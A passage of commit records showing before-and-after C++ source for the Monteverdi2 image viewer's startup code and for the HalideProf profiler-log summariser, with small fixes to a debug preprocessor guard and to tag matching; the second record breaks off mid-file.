{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Monteverdi2\n  Language:  C++\n\n\n  Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n  See Copyright.txt for details.\n\n  Monteverdi2 is distributed under the CeCILL licence version 2. See\n  Licence_CeCILL_V2-en.txt or\n  http:\/\/www.cecill.info\/licences\/Licence_CeCILL_V2-en.txt for more details.\n\n  This software is distributed WITHOUT ANY WARRANTY; without even\n  the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n  PURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n\n\/\/\n\/\/ Configuration include.\n\/\/\/\/ Included at first position before any other ones.\n#include \"ConfigureMonteverdi2.h\"\n\n\n\/*****************************************************************************\/\n\/* INCLUDE SECTION                                                           *\/\n\n\/\/\n\/\/ Qt includes (sorted by alphabetic order)\n\/\/\/\/ Must be included before system\/custom includes.\n#include <QPixmap>\n#include <QSplashScreen>\n\n\/\/\n\/\/ System includes (sorted by alphabetic order)\n#include <exception>\n\n\/\/\n\/\/ ITK includes (sorted by alphabetic order)\n#include \"itksys\/SystemTools.hxx\"\n\n\/\/\n\/\/ OTB includes (sorted by alphabetic order)\n\n\/\/\n\/\/ Monteverdi includes (sorted by alphabetic order)\n#include \"mvdApplication.h\"\n#include \"mvdMainWindow.h\"\n\n\/*****************************************************************************\/\n\/* FUNCTIONS DECLARATION                                                     *\/\n\n\n\/*****************************************************************************\/\n\/* MAIN                                                                      *\/\n\nint\nmain( int argc, char* argv[] )\n{\n  QApplication qtApp( argc, argv );\n\n  \/\/ 0. Splash-screen.\n#if !defined( _DEBUG )\n  QPixmap pixmap(QLatin1String( \":\/images\/application_splash\" ));\n  QSplashScreen splash(pixmap);\n  splash.show();\n  qtApp.processEvents();\/\/This is used to accept a click on the screen so that user can cancel the screen\n#endif\n\n  \/\/ 1. Initialize application and sync settings.\n  mvd::Application application( &qtApp );\n  application.Initialize();\n\n  \/\/ 2. Initialize main-window (UI).\n  mvd::MainWindow mainWindow;\n  mainWindow.Initialize();\n\n  \/\/ 3. Initialize cache directory.\n  try\n    {\n    mainWindow.SetupCacheDir();\n    }\n  catch( std::exception& exc )\n    {\n    QMessageBox::critical(\n      &mainWindow,\n      QCoreApplication::translate(\n\tPROJECT_NAME,\n\tPROJECT_NAME \" - Critical error!\"\n      ),\n      QCoreApplication::translate(\n\tPROJECT_NAME,\n\t\"Error when creating repository cache-directory:\\n\"\n\t\"%1\\n\"\n\t\"Application will exit!\"\n      )\n      .arg( exc.what() )\n    );\n\n    return -1;\n    }\n\n  \/\/ 4. Initialize database.\n  mvd::CountType nb = application.OpenDatabase();\n  if( nb > 0 )\n    {\n#if defined( _DEBUG )\n    QMessageBox::StandardButton button =\n#endif\n      QMessageBox::warning(\n  &mainWindow,\n  QCoreApplication::translate(\n    PROJECT_NAME,\n    PROJECT_NAME \" \" Monteverdi2_VERSION_STRING \" - Warning! \"\n  ),\n  QCoreApplication::translate(\n    PROJECT_NAME,\n    \"There are %1 outdated dataset(s) in cache-directory.\\n\\n\"\n    \"Please remove cache-directory '%2' and restart \"\n    PROJECT_NAME \".\\n\\n\"\n    \"Do you to delete cache-directory '%2' before quitting \" PROJECT_NAME \"?\"\n  ).arg( nb ).arg( application.GetCacheDir().path() ),\n  QMessageBox::Yes | QMessageBox::No,\n  QMessageBox::Yes\n      );\n\n    if( button==QMessageBox::Yes )\n      {\n      if( application.GetCacheDir()==QDir::home() )\n\t{\n\tthrow std::runtime_error(\n\t  mvd::ToStdString(\n\t    QCoreApplication::translate(\n\t      PROJECT_NAME,\n\t      \"Tryed to remove home dir.\"\n\t    )\n\t  )\n\t);\n\t}\n\n      itksys::SystemTools::RemoveADirectory(\n\tQFile::encodeName( application.GetCacheDir().path() ).constData()\n      );\n      }\n\n    return -2;\n    }\n\n  \/\/ 5. Show window.\n#if defined( _DEBUG )\n  \/\/ Usefull when developping\/debugging to avoid overlapping other windows.\n  mainWindow.show();\n\n#else\n  splash.finish(&mainWindow);\n\n  \/\/ TODO: Correctly manage main-window state via application settings.\n  mainWindow.showMaximized();\n  \n#endif\n\n  \/\/ 6. Let's go: run the application and return exit code.\n  return QCoreApplication::instance()->exec();\n}\n\n\n\/*****************************************************************************\/\n\/* FUNCTIONS IMPLEMENTATION                                                  *\/\n<commit_msg>COMP: Fixed bad #if defined( _DEBUG ) statement.<commit_after>\/*=========================================================================\n\n  Program:   Monteverdi2\n  Language:  C++\n\n\n  Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n  See Copyright.txt for details.\n\n  Monteverdi2 is distributed under the CeCILL licence version 2. See\n  Licence_CeCILL_V2-en.txt or\n  http:\/\/www.cecill.info\/licences\/Licence_CeCILL_V2-en.txt for more details.\n\n  This software is distributed WITHOUT ANY WARRANTY; without even\n  the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n  PURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n\n\/\/\n\/\/ Configuration include.\n\/\/\/\/ Included at first position before any other ones.\n#include \"ConfigureMonteverdi2.h\"\n\n\n\/*****************************************************************************\/\n\/* INCLUDE SECTION                                                           *\/\n\n\/\/\n\/\/ Qt includes (sorted by alphabetic order)\n\/\/\/\/ Must be included before system\/custom includes.\n#include <QPixmap>\n#include <QSplashScreen>\n\n\/\/\n\/\/ System includes (sorted by alphabetic order)\n#include <exception>\n\n\/\/\n\/\/ ITK includes (sorted by alphabetic order)\n#include \"itksys\/SystemTools.hxx\"\n\n\/\/\n\/\/ OTB includes (sorted by alphabetic order)\n\n\/\/\n\/\/ Monteverdi includes (sorted by alphabetic order)\n#include \"mvdApplication.h\"\n#include \"mvdMainWindow.h\"\n\n\/*****************************************************************************\/\n\/* FUNCTIONS DECLARATION                                                     *\/\n\n\n\/*****************************************************************************\/\n\/* MAIN                                                                      *\/\n\nint\nmain( int argc, char* argv[] )\n{\n  QApplication qtApp( argc, argv );\n\n  \/\/ 0. Splash-screen.\n#if !defined( _DEBUG )\n  QPixmap pixmap(QLatin1String( \":\/images\/application_splash\" ));\n  QSplashScreen splash(pixmap);\n  splash.show();\n  qtApp.processEvents();\/\/This is used to accept a click on the screen so that user can cancel the screen\n#endif\n\n  \/\/ 1. Initialize application and sync settings.\n  mvd::Application application( &qtApp );\n  application.Initialize();\n\n  \/\/ 2. Initialize main-window (UI).\n  mvd::MainWindow mainWindow;\n  mainWindow.Initialize();\n\n  \/\/ 3. Initialize cache directory.\n  try\n    {\n    mainWindow.SetupCacheDir();\n    }\n  catch( std::exception& exc )\n    {\n    QMessageBox::critical(\n      &mainWindow,\n      QCoreApplication::translate(\n\tPROJECT_NAME,\n\tPROJECT_NAME \" - Critical error!\"\n      ),\n      QCoreApplication::translate(\n\tPROJECT_NAME,\n\t\"Error when creating repository cache-directory:\\n\"\n\t\"%1\\n\"\n\t\"Application will exit!\"\n      )\n      .arg( exc.what() )\n    );\n\n    return -1;\n    }\n\n  \/\/ 4. Initialize database.\n  mvd::CountType nb = application.OpenDatabase();\n  if( nb > 0 )\n    {\n    QMessageBox::StandardButton button =\n      QMessageBox::warning(\n\t&mainWindow,\n\tQCoreApplication::translate(\n\t  PROJECT_NAME,\n\t  PROJECT_NAME \" \" Monteverdi2_VERSION_STRING \" - Warning! \"\n\t),\n\tQCoreApplication::translate(\n\t  PROJECT_NAME,\n\t  \"There are %1 outdated dataset(s) in cache-directory.\\n\\n\"\n\t  \"Please remove cache-directory '%2' and restart \"\n\t  PROJECT_NAME \".\\n\\n\"\n\t  \"Do you to delete cache-directory '%2' before quitting \" PROJECT_NAME \"?\"\n\t).arg( nb ).arg( application.GetCacheDir().path() ),\n\tQMessageBox::Yes | QMessageBox::No,\n\tQMessageBox::Yes\n      );\n\n    if( button==QMessageBox::Yes )\n      {\n      if( application.GetCacheDir()==QDir::home() )\n\t{\n\tthrow std::runtime_error(\n\t  mvd::ToStdString(\n\t    QCoreApplication::translate(\n\t      PROJECT_NAME,\n\t      \"Tryed to remove home dir.\"\n\t    )\n\t  )\n\t);\n\t}\n\n      itksys::SystemTools::RemoveADirectory(\n\tQFile::encodeName( application.GetCacheDir().path() ).constData()\n      );\n      }\n\n    return -2;\n    }\n\n  \/\/ 5. Show window.\n#if defined( _DEBUG )\n  \/\/ Usefull when developping\/debugging to avoid overlapping other windows.\n  mainWindow.show();\n\n#else\n  splash.finish(&mainWindow);\n\n  \/\/ TODO: Correctly manage main-window state via application settings.\n  mainWindow.showMaximized();\n  \n#endif\n\n  \/\/ 6. Let's go: run the application and return exit code.\n  return QCoreApplication::instance()->exec();\n}\n\n\n\/*****************************************************************************\/\n\/* FUNCTIONS IMPLEMENTATION                                                  *\/\n<|endoftext|>"}
{"text":"<commit_before>#include <algorithm>\n#include <iomanip>\n#include <ios>\n#include <iostream>\n#include <map>\n#include <sstream>\n#include <string>\n#include <vector>\n#include <stdint.h>\n#include <stdio.h>\n\nnamespace {\n\n  const char kToplevel[] = \"$total$\";\n  const char kOverhead[] = \"$overhead$\";\n  const char kIgnore[] = \"$ignore$\";\n\n  struct OpInfo {\n    std::string op_type;\n    std::string op_name;\n    std::string parent_type;\n    std::string parent_name;\n    \/\/ number of times called\n    int64_t count;\n    \/\/ ticks used (processor specific, no fixed time interval)\n    int64_t ticks;\n    \/\/ nsec is actually only measured for $total$;\n    \/\/ it's (approximated) calculated for all others\n    double nsec;\n    \/\/ percentage of total ticks, [0.0..1.0]\n    double percent;\n    \/\/ ticks\/nsec\/percent used by this op alone (not including callees)\n    int64_t ticks_only;\n    double nsec_only;\n    double percent_only;\n\n    OpInfo()\n      : count(0),\n        ticks(0),\n        nsec(0.0),\n        percent(0.0),\n        ticks_only(0),\n        nsec_only(0.0),\n        percent_only(0.0) {}\n  };\n\n  \/\/ Outer map is keyed by function name,\n  \/\/ inner map is keyed by op_type + op_name\n  typedef std::map<std::string, OpInfo> OpInfoMap;\n  typedef std::map<std::string, OpInfoMap> FuncInfoMap;\n\n  std::string qualified_name(const std::string& op_type, const std::string& op_name) {\n    \/\/ Arbitrary, just join type + name\n    return op_type + \":\" + op_name;\n  }\n\n  \/\/ How is it posible that there is no string-split function in the C++\n  \/\/ standard library?\n  std::vector<std::string> Split(const std::string& s, char delim) {\n    std::vector<std::string> v;\n    std::istringstream ss(s);\n    std::string item;\n    while (std::getline(ss, item, delim)) {\n        v.push_back(item);\n    }\n    return v;\n  }\n\n  bool HasOpt(char** begin, char** end, const std::string& opt) {\n    return std::find(begin, end, opt) != end;\n  }\n\n  \/\/ look for string \"opt\"; if found, return subsequent string;\n  \/\/ if not found, return empty string.\n  std::string GetOpt(char** begin, char** end, const std::string& opt) {\n    char** it = std::find(begin, end, opt);\n    if (it != end && ++it != end) {\n        return std::string(*it);\n    }\n    return std::string();\n  }\n\n  void ProcessLine(const std::string& s, FuncInfoMap& info, bool accumulate_runs) {\n    std::vector<std::string> v = Split(s, ' ');\n    if (v.size() < 8) {\n      return;\n    }\n    \/\/ Some environments (e.g. Android logging) will emit a prefix\n    \/\/ for each line; skip the first few words we see before\n    \/\/ deciding to ignore the line.\n    int first = -1;\n    for (int i = 0; i < 4; ++i) {\n      if (v[i] == \"halide_profiler\") {\n        first = i;\n        break;\n      }\n    }\n    if (first < 0) {\n      return;\n    }\n    const std::string& metric = v[first + 1];\n    const std::string& func_name = v[first + 2];\n    const std::string& op_type = v[first + 3];\n    const std::string& op_name = v[first + 4];\n    const std::string& parent_type = v[first + 5];\n    const std::string& parent_name = v[first + 6];\n    if (op_type == kIgnore || op_name == kIgnore) {\n      return;\n    }\n    std::istringstream value_stream(v[first + 7]);\n    int64_t value;\n    value_stream >> value;\n    OpInfoMap& op_info_map = info[func_name];\n    OpInfo& op_info = op_info_map[qualified_name(op_type, op_name)];\n    op_info.op_type = op_type;\n    op_info.op_name = op_name;\n    op_info.parent_type = parent_type;\n    op_info.parent_name = parent_name;\n    if (metric == \"count\") {\n      op_info.count = (accumulate_runs ? op_info.count : 0) + value;\n    } else if (metric == \"ticks\") {\n      op_info.ticks = (accumulate_runs ? op_info.ticks : 0) + value;\n    } else if (metric == \"nsec\") {\n      op_info.nsec = (accumulate_runs ? op_info.nsec : 0) + value;\n    }\n  }\n\n  typedef std::map<std::string, std::vector<OpInfo*> > ChildMap;\n\n  int64_t AdjustOverhead(OpInfo& op_info, ChildMap& child_map, double overhead_ticks_avg) {\n    int64_t overhead_local = op_info.count * overhead_ticks_avg;\n    int64_t overhead_ticks = overhead_local;\n\n    std::string qual_name = qualified_name(op_info.op_type, op_info.op_name);\n    const std::vector<OpInfo*>& children = child_map[qual_name];\n    for (std::vector<OpInfo*>::const_iterator it = children.begin(); it != children.end(); ++it) {\n      OpInfo* c = *it;\n      int64_t child_overhead = AdjustOverhead(*c, child_map, overhead_ticks_avg);\n      overhead_ticks += child_overhead;\n    }\n\n    op_info.ticks -= overhead_ticks;\n\n    \/\/ double the overhead of this level\n    return overhead_ticks + overhead_local;\n  }\n\n  void FinishOpInfo(OpInfoMap& op_info_map, bool adjust_for_overhead) {\n\n    std::string toplevel_qual_name = qualified_name(kToplevel, kToplevel);\n    OpInfo& total = op_info_map[toplevel_qual_name];\n    total.percent = 1.0;\n\n    double ticks_per_nsec = (double)total.ticks \/ (double)total.nsec;\n\n    \/\/ Note that overhead (if present) is measured outside the rest\n    \/\/ of the \"total\", so it should not be included (or subtracted from)\n    \/\/ the total.\n    double overhead_ticks_avg = 0;\n    std::string overhead_qual_name = qualified_name(kOverhead, kOverhead);\n    OpInfoMap::iterator it = op_info_map.find(overhead_qual_name);\n    if (it != op_info_map.end()) {\n      OpInfo overhead = it->second;\n      overhead_ticks_avg = (double)overhead.ticks \/ ((double)overhead.count * 2.0);\n      op_info_map.erase(it);\n    }\n\n    ChildMap child_map;\n    for (OpInfoMap::iterator o = op_info_map.begin(); o != op_info_map.end(); ++o) {\n      OpInfo& op_info = o->second;\n      std::string parent_qual_name = qualified_name(op_info.parent_type, op_info.parent_name);\n      child_map[parent_qual_name].push_back(&op_info);\n    }\n\n    if (adjust_for_overhead) {\n      \/\/ Adjust values to account for profiling overhead\n      AdjustOverhead(total, child_map, overhead_ticks_avg);\n    }\n\n    for (OpInfoMap::iterator o = op_info_map.begin(); o != op_info_map.end(); ++o) {\n      OpInfo& op_info = o->second;\n      op_info.ticks_only = op_info.ticks;\n      const std::vector<OpInfo*>& children = child_map[o->first];\n      for (std::vector<OpInfo*>::const_iterator it = children.begin(); it != children.end(); ++it) {\n        OpInfo* c = *it;\n        op_info.ticks_only -= c->ticks;\n      }\n    }\n\n    \/\/ Calc the derived fields\n    for (OpInfoMap::iterator o = op_info_map.begin(); o != op_info_map.end(); ++o) {\n      OpInfo& op_info = o->second;\n      op_info.nsec = op_info.ticks \/ ticks_per_nsec;\n      op_info.nsec_only = op_info.ticks_only \/ ticks_per_nsec;\n      op_info.percent = (double)op_info.ticks \/ (double)total.ticks;\n      op_info.percent_only = (double)op_info.ticks_only \/ (double)total.ticks;\n    }\n  }\n\n  template <typename CmpFunc>\n  std::vector<OpInfo> SortOpInfo(const OpInfoMap& op_info_map, CmpFunc cmp) {\n    std::vector<OpInfo> v;\n    for (OpInfoMap::const_iterator o = op_info_map.begin(); o != op_info_map.end(); ++o) {\n      v.push_back(o->second);\n    }\n    \/\/ Note: using reverse iterators to get a descending sort\n    std::sort(v.rbegin(), v.rend(), cmp);\n    return v;\n  }\n\n  bool by_count(const OpInfo& a, const OpInfo& b) { return a.count < b.count; }\n  bool by_ticks(const OpInfo& a, const OpInfo& b) { return a.ticks < b.ticks; }\n  bool by_ticks_only(const OpInfo& a, const OpInfo& b) { return a.ticks_only < b.ticks_only; }\n\n}  \/\/ namespace\n\nint main(int argc, char** argv) {\n\n  if (HasOpt(argv, argv + argc, \"-h\")) {\n    printf(\"HalideProf [-f funcname] [-sort c|t|to] [-top N] [-overhead=0|1] [-accumulate=[0|1]] < profiledata\\n\");\n    return 0;\n  }\n\n  std::string func_name_filter = GetOpt(argv, argv + argc, \"-f\");\n\n  bool (*sort_by_func)(const OpInfo& a, const OpInfo& b);\n  std::string sort_by = GetOpt(argv, argv + argc, \"-sort\");\n  if (sort_by.empty() || sort_by == \"to\") {\n    sort_by_func = by_ticks_only;\n  } else if (sort_by == \"t\") {\n    sort_by_func = by_ticks;\n  } else if (sort_by == \"c\") {\n    sort_by_func = by_count;\n  } else {\n    std::cerr << \"Unknown value for -sort: \" << sort_by << \"\\n\";\n    exit(-1);\n  }\n\n  int32_t top_n = 10;\n  std::string top_n_str = GetOpt(argv, argv + argc, \"-top\");\n  if (!top_n_str.empty()) {\n    std::istringstream(top_n_str) >> top_n;\n  }\n\n  \/\/ It's rare that you wouldn't want to try to adjust the times\n  \/\/ to minimize the effect profiling overhead, but just in case,\n  \/\/ allow -overhead 0\n  int32_t adjust_for_overhead = 1;\n  std::string adjust_for_overhead_str = GetOpt(argv, argv + argc, \"-overhead\");\n  if (!adjust_for_overhead_str.empty()) {\n    std::istringstream(adjust_for_overhead_str) >> adjust_for_overhead;\n  }\n\n  int32_t accumulate_runs = 0;\n  std::string accumulate_runs_str = GetOpt(argv, argv + argc, \"-accumulate\");\n  if (!accumulate_runs_str.empty()) {\n    std::istringstream(accumulate_runs_str) >> accumulate_runs;\n  }\n\n  FuncInfoMap func_info_map;\n  std::string line;\n  while (std::getline(std::cin, line)) {\n    ProcessLine(line, func_info_map, accumulate_runs);\n  }\n\n  for (FuncInfoMap::iterator f = func_info_map.begin(); f != func_info_map.end(); ++f) {\n    FinishOpInfo(f->second, adjust_for_overhead != 0);\n  }\n\n  for (FuncInfoMap::iterator f = func_info_map.begin(); f != func_info_map.end(); ++f) {\n    const std::string& func_name = f->first;\n    if (!func_name_filter.empty() && func_name_filter != func_name) {\n      continue;\n    }\n    std::cout << \"Func: \" << func_name << \"\\n\";\n    std::cout << \"--------------------------\\n\";\n    std::cout\n      << std::setw(10) << std::left << \"op_type\"\n      << std::setw(40) << std::left << \"op_name\"\n      << std::setw(16) << std::right << \"count\"\n      << std::setw(16) << \"ticks-cum\"\n      << std::setw(12) << \"msec-cum\"\n      << std::setw(8) << std::fixed << \"%-cum\"\n      << std::setw(16) << \"ticks-only\"\n      << std::setw(12) << \"msec-only\"\n      << std::setw(8) << std::fixed << \"%-only\"\n      << \"\\n\";\n    std::vector<OpInfo> op_info = SortOpInfo(f->second, sort_by_func);\n    for (std::vector<OpInfo>::const_iterator o = op_info.begin(); o != op_info.end(); ++o) {\n      const OpInfo& op_info = *o;\n      std::cout\n        << std::setw(10) << std::left << op_info.op_type\n        << std::setw(40) << std::left << op_info.op_name\n        << std::setw(16) << std::right << op_info.count\n        << std::setw(16) << op_info.ticks\n        << std::setw(12) << std::setprecision(2) << std::fixed << (op_info.nsec \/ 1000000.0)\n        << std::setw(8) << std::setprecision(2) << std::fixed << (op_info.percent * 100.0)\n        << std::setw(16) << op_info.ticks_only\n        << std::setw(12) << std::setprecision(2) << std::fixed << (op_info.nsec_only \/ 1000000.0)\n        << std::setw(8) << std::setprecision(2) << std::fixed << (op_info.percent_only * 100.0)\n        << \"\\n\";\n      if (--top_n <= 0) {\n        break;\n      }\n    }\n  }\n}\n<commit_msg>HalideProf should check the entire line for \"halide_profiler\" tag.<commit_after>#include <algorithm>\n#include <iomanip>\n#include <ios>\n#include <iostream>\n#include <map>\n#include <sstream>\n#include <string>\n#include <vector>\n#include <stdint.h>\n#include <stdio.h>\n\nnamespace {\n\n  const char kToplevel[] = \"$total$\";\n  const char kOverhead[] = \"$overhead$\";\n  const char kIgnore[] = \"$ignore$\";\n\n  struct OpInfo {\n    std::string op_type;\n    std::string op_name;\n    std::string parent_type;\n    std::string parent_name;\n    \/\/ number of times called\n    int64_t count;\n    \/\/ ticks used (processor specific, no fixed time interval)\n    int64_t ticks;\n    \/\/ nsec is actually only measured for $total$;\n    \/\/ it's (approximated) calculated for all others\n    double nsec;\n    \/\/ percentage of total ticks, [0.0..1.0]\n    double percent;\n    \/\/ ticks\/nsec\/percent used by this op alone (not including callees)\n    int64_t ticks_only;\n    double nsec_only;\n    double percent_only;\n\n    OpInfo()\n      : count(0),\n        ticks(0),\n        nsec(0.0),\n        percent(0.0),\n        ticks_only(0),\n        nsec_only(0.0),\n        percent_only(0.0) {}\n  };\n\n  \/\/ Outer map is keyed by function name,\n  \/\/ inner map is keyed by op_type + op_name\n  typedef std::map<std::string, OpInfo> OpInfoMap;\n  typedef std::map<std::string, OpInfoMap> FuncInfoMap;\n\n  std::string qualified_name(const std::string& op_type, const std::string& op_name) {\n    \/\/ Arbitrary, just join type + name\n    return op_type + \":\" + op_name;\n  }\n\n  \/\/ How is it posible that there is no string-split function in the C++\n  \/\/ standard library?\n  std::vector<std::string> Split(const std::string& s, char delim) {\n    std::vector<std::string> v;\n    std::istringstream ss(s);\n    std::string item;\n    while (std::getline(ss, item, delim)) {\n        v.push_back(item);\n    }\n    return v;\n  }\n\n  bool HasOpt(char** begin, char** end, const std::string& opt) {\n    return std::find(begin, end, opt) != end;\n  }\n\n  \/\/ look for string \"opt\"; if found, return subsequent string;\n  \/\/ if not found, return empty string.\n  std::string GetOpt(char** begin, char** end, const std::string& opt) {\n    char** it = std::find(begin, end, opt);\n    if (it != end && ++it != end) {\n        return std::string(*it);\n    }\n    return std::string();\n  }\n\n  void ProcessLine(const std::string& s, FuncInfoMap& info, bool accumulate_runs) {\n    std::vector<std::string> v = Split(s, ' ');\n    if (v.size() < 8) {\n      return;\n    }\n    \/\/ Some environments (e.g. Android logging) will emit a prefix\n    \/\/ for each line; just check all the words on the line.\n    int first = -1;\n    \/\/ We know v.size() >= 8 due to earlier check, so this will never underflow.\n    for (int i = 0; i < v.size() - 8; ++i) {\n      if (v[i] == \"halide_profiler\") {\n        first = i;\n        break;\n      }\n    }\n    if (first < 0) {\n      return;\n    }\n    const std::string& metric = v[first + 1];\n    const std::string& func_name = v[first + 2];\n    const std::string& op_type = v[first + 3];\n    const std::string& op_name = v[first + 4];\n    const std::string& parent_type = v[first + 5];\n    const std::string& parent_name = v[first + 6];\n    if (op_type == kIgnore || op_name == kIgnore) {\n      return;\n    }\n    std::istringstream value_stream(v[first + 7]);\n    int64_t value;\n    value_stream >> value;\n    OpInfoMap& op_info_map = info[func_name];\n    OpInfo& op_info = op_info_map[qualified_name(op_type, op_name)];\n    op_info.op_type = op_type;\n    op_info.op_name = op_name;\n    op_info.parent_type = parent_type;\n    op_info.parent_name = parent_name;\n    if (metric == \"count\") {\n      op_info.count = (accumulate_runs ? op_info.count : 0) + value;\n    } else if (metric == \"ticks\") {\n      op_info.ticks = (accumulate_runs ? op_info.ticks : 0) + value;\n    } else if (metric == \"nsec\") {\n      op_info.nsec = (accumulate_runs ? op_info.nsec : 0) + value;\n    }\n  }\n\n  typedef std::map<std::string, std::vector<OpInfo*> > ChildMap;\n\n  int64_t AdjustOverhead(OpInfo& op_info, ChildMap& child_map, double overhead_ticks_avg) {\n    int64_t overhead_local = op_info.count * overhead_ticks_avg;\n    int64_t overhead_ticks = overhead_local;\n\n    std::string qual_name = qualified_name(op_info.op_type, op_info.op_name);\n    const std::vector<OpInfo*>& children = child_map[qual_name];\n    for (std::vector<OpInfo*>::const_iterator it = children.begin(); it != children.end(); ++it) {\n      OpInfo* c = *it;\n      int64_t child_overhead = AdjustOverhead(*c, child_map, overhead_ticks_avg);\n      overhead_ticks += child_overhead;\n    }\n\n    op_info.ticks -= overhead_ticks;\n\n    \/\/ double the overhead of this level\n    return overhead_ticks + overhead_local;\n  }\n\n  void FinishOpInfo(OpInfoMap& op_info_map, bool adjust_for_overhead) {\n\n    std::string toplevel_qual_name = qualified_name(kToplevel, kToplevel);\n    OpInfo& total = op_info_map[toplevel_qual_name];\n    total.percent = 1.0;\n\n    double ticks_per_nsec = (double)total.ticks \/ (double)total.nsec;\n\n    \/\/ Note that overhead (if present) is measured outside the rest\n    \/\/ of the \"total\", so it should not be included (or subtracted from)\n    \/\/ the total.\n    double overhead_ticks_avg = 0;\n    std::string overhead_qual_name = qualified_name(kOverhead, kOverhead);\n    OpInfoMap::iterator it = op_info_map.find(overhead_qual_name);\n    if (it != op_info_map.end()) {\n      OpInfo overhead = it->second;\n      overhead_ticks_avg = (double)overhead.ticks \/ ((double)overhead.count * 2.0);\n      op_info_map.erase(it);\n    }\n\n    ChildMap child_map;\n    for (OpInfoMap::iterator o = op_info_map.begin(); o != op_info_map.end(); ++o) {\n      OpInfo& op_info = o->second;\n      std::string parent_qual_name = qualified_name(op_info.parent_type, op_info.parent_name);\n      child_map[parent_qual_name].push_back(&op_info);\n    }\n\n    if (adjust_for_overhead) {\n      \/\/ Adjust values to account for profiling overhead\n      AdjustOverhead(total, child_map, overhead_ticks_avg);\n    }\n\n    for (OpInfoMap::iterator o = op_info_map.begin(); o != op_info_map.end(); ++o) {\n      OpInfo& op_info = o->second;\n      op_info.ticks_only = op_info.ticks;\n      const std::vector<OpInfo*>& children = child_map[o->first];\n      for (std::vector<OpInfo*>::const_iterator it = children.begin(); it != children.end(); ++it) {\n        OpInfo* c = *it;\n        op_info.ticks_only -= c->ticks;\n      }\n    }\n\n    \/\/ Calc the derived fields\n    for (OpInfoMap::iterator o = op_info_map.begin(); o != op_info_map.end(); ++o) {\n      OpInfo& op_info = o->second;\n      op_info.nsec = op_info.ticks \/ ticks_per_nsec;\n      op_info.nsec_only = op_info.ticks_only \/ ticks_per_nsec;\n      op_info.percent = (double)op_info.ticks \/ (double)total.ticks;\n      op_info.percent_only = (double)op_info.ticks_only \/ (double)total.ticks;\n    }\n  }\n\n  template <typename CmpFunc>\n  std::vector<OpInfo> SortOpInfo(const OpInfoMap& op_info_map, CmpFunc cmp) {\n    std::vector<OpInfo> v;\n    for (OpInfoMap::const_iterator o = op_info_map.begin(); o != op_info_map.end(); ++o) {\n      v.push_back(o->second);\n    }\n    \/\/ Note: using reverse iterators to get a descending sort\n    std::sort(v.rbegin(), v.rend(), cmp);\n    return v;\n  }\n\n  bool by_count(const OpInfo& a, const OpInfo& b) { return a.count < b.count; }\n  bool by_ticks(const OpInfo& a, const OpInfo& b) { return a.ticks < b.ticks; }\n  bool by_ticks_only(const OpInfo& a, const OpInfo& b) { return a.ticks_only < b.ticks_only; }\n\n}  \/\/ namespace\n\nint main(int argc, char** argv) {\n\n  if (HasOpt(argv, argv + argc, \"-h\")) {\n    printf(\"HalideProf [-f funcname] [-sort c|t|to] [-top N] [-overhead=0|1] [-accumulate=[0|1]] < profiledata\\n\");\n    return 0;\n  }\n\n  std::string func_name_filter = GetOpt(argv, argv + argc, \"-f\");\n\n  bool (*sort_by_func)(const OpInfo& a, const OpInfo& b);\n  std::string sort_by = GetOpt(argv, argv + argc, \"-sort\");\n  if (sort_by.empty() || sort_by == \"to\") {\n    sort_by_func = by_ticks_only;\n  } else if (sort_by == \"t\") {\n    sort_by_func = by_ticks;\n  } else if (sort_by == \"c\") {\n    sort_by_func = by_count;\n  } else {\n    std::cerr << \"Unknown value for -sort: \" << sort_by << \"\\n\";\n    exit(-1);\n  }\n\n  int32_t top_n = 10;\n  std::string top_n_str = GetOpt(argv, argv + argc, \"-top\");\n  if (!top_n_str.empty()) {\n    std::istringstream(top_n_str) >> top_n;\n  }\n\n  \/\/ It's rare that you wouldn't want to try to adjust the times\n  \/\/ to minimize the effect profiling overhead, but just in case,\n  \/\/ allow -overhead 0\n  int32_t adjust_for_overhead = 1;\n  std::string adjust_for_overhead_str = GetOpt(argv, argv + argc, \"-overhead\");\n  if (!adjust_for_overhead_str.empty()) {\n    std::istringstream(adjust_for_overhead_str) >> adjust_for_overhead;\n  }\n\n  int32_t accumulate_runs = 0;\n  std::string accumulate_runs_str = GetOpt(argv, argv + argc, \"-accumulate\");\n  if (!accumulate_runs_str.empty()) {\n    std::istringstream(accumulate_runs_str) >> accumulate_runs;\n  }\n\n  FuncInfoMap func_info_map;\n  std::string line;\n  while (std::getline(std::cin, line)) {\n    ProcessLine(line, func_info_map, accumulate_runs);\n  }\n\n  for (FuncInfoMap::iterator f = func_info_map.begin(); f != func_info_map.end(); ++f) {\n    FinishOpInfo(f->second, adjust_for_overhead != 0);\n  }\n\n  for (FuncInfoMap::iterator f = func_info_map.begin(); f != func_info_map.end(); ++f) {\n    const std::string& func_name = f->first;\n    if (!func_name_filter.empty() && func_name_filter != func_name) {\n      continue;\n    }\n    std::cout << \"Func: \" << func_name << \"\\n\";\n    std::cout << \"--------------------------\\n\";\n    std::cout\n      << std::setw(10) << std::left << \"op_type\"\n      << std::setw(40) << std::left << \"op_name\"\n      << std::setw(16) << std::right << \"count\"\n      << std::setw(16) << \"ticks-cum\"\n      << std::setw(12) << \"msec-cum\"\n      << std::setw(8) << std::fixed << \"%-cum\"\n      << std::setw(16) << \"ticks-only\"\n      << std::setw(12) << \"msec-only\"\n      << std::setw(8) << std::fixed << \"%-only\"\n      << \"\\n\";\n    std::vector<OpInfo> op_info = SortOpInfo(f->second, sort_by_func);\n    for (std::vector<OpInfo>::const_iterator o = op_info.begin(); o != op_info.end(); ++o) {\n      const OpInfo& op_info = *o;\n      std::cout\n        << std::setw(10) << std::left << op_info.op_type\n        << std::setw(40) << std::left << op_info.op_name\n        << std::setw(16) << std::right << op_info.count\n        << std::setw(16) << op_info.ticks\n        << std::setw(12) << std::setprecision(2) << std::fixed << (op_info.nsec \/ 1000000.0)\n        << std::setw(8) << std::setprecision(2) << std::fixed << (op_info.percent * 100.0)\n        << std::setw(16) << op_info.ticks_only\n        << std::setw(12) << std::setprecision(2) << std::fixed << (op_info.nsec_only \/ 1000000.0)\n        << std::setw(8) << std::setprecision(2) << std::fixed << (op_info.percent_only * 100.0)\n        << \"\\n\";\n      if (--top_n <= 0) 